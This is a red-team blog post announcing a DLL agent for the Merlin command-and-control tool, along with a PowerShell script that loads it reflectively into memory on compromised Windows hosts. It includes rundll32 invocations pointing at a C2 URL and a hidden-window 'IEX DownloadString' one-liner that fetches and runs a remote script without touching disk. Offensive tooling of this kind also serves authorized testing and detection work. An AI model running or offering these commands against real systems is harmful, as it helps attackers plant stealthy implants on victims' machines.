🧙 Merlin Adds DLL Agent & PowerShell Invoke-Merlin Script
Mar 14 2018
By: Russel Van Tuyl • 4 min read
tl;dr Merlin now ships with an Agent DLL to enable support for TTPs that leverage a DLL. The DLL has also been embedded in an Invoke-Merlin.ps1 for in-memory execution to stay off Disk.
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang .Go is powerful because you can write one program and cross-compile it to many other platforms. One of my original goals with Merlin was to create a DLL to facilitate in-memory loading. In fact, this is one of the reasons why it took so long for a public release because I wasn’t able to get it figured out. After building a decent foundation and releasing Merlin to the public, I wanted to come back to generating a DLL. I ran across this repository where the author demonstrated how to generate a DLL from Go. In short, you have to export a function and then generate a C archive and header file using the go build -buildmode=c-archive
command. Following this, you need a simple C file that merely executes the exported command. Finish up by compiling the C file with GCC and voilà, you have a DLL file. Additional information on how to compile the DLL can be found in the README.
Dynamic Link Library (DLL)
One of my favorite trade craft techniques is to load an agent or tool into memory using PowerShell to avoid putting files on the compromised host’s file system. DLL files can be a powerful way to execute code on a compromised host. Tools such as Metasploit/meterpreter and FuzzBunch can be provided with an arbitrary DLL for execution on a compromised host.
rundll32.exe
The provided DLL can be delivered and executed many different ways. One method is to use Windows’ built-in rundll32.exe program. To execute the merlin.dll file, pass the file as an argument and provide the entry point using a comma after the DLL (i.e. rundll32 merlin.dll,main
) . The rundll32.exe program will load merlin.dll using the LoadLibrary() function and then call the provided entry point. By default, the DLL is hard coded to connect to https://127.0.0.1:443/
. The target server can be changed by calling the exported Run
function as an entry point and providing the target URL. For example rundll32 merlin.dll,Run https://yourdomain.com:443/
. This works because underlying program parses the passed in arguments only when rundll32 is used.
PowerShell — Invoke-Merlin.ps1
A big thank you to Joe Bialek (@JosephBialek) and Matt Graeber for their work on Invoke-ReflectivePEInjection.ps1. This PowerShell script can be used to reflectively load a Windows DLL file into the PowerShell process or another remote process. I’ve adapted this script by embedding a Base64 encoded version of merlin.dll
into the script. The original Invoke-ReflectivePEInjection functionality is still intact making this script dual use. Using Invoke-Merlin, a Merlin agent can be loaded into memory with the following command:
powershell.exe -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ne0nd0g/merlin/dev/data/bin/powershell/Invoke-Merlin.ps1;Invoke-Merlin"
Limitations
Development of the merlin.dll
is still underway. As such, a current limitation is that the DLL has no way to specify the C2 server’s URL at the time of execution when calling Invoke-Merlin.ps1. The address https://127.0.0.1:443/
is hard coded into the DLL. A simple work around is to compile the DLL with your server’s URL and to update Invoke-Merlin.ps1. The README file has detailed information on how to compile the DLL and and update Invoke-Merlin.ps1 only with 3 commands.

Conclusion
Adding a DLL version of the agent is huge when it comes to working with compromised Windows hosts. This opens a lot of doors to enable using many different trade craft techniques. More prominently is the ability to reflectively load the DLL into another process using the Invoke-Merlin.ps1 script. Once you’ve exploited a host and have command execution, deliver the PowerShell script to load everything into memory without writing a file to disk. Let me know your thoughts in the comments below.
-Happy Hacking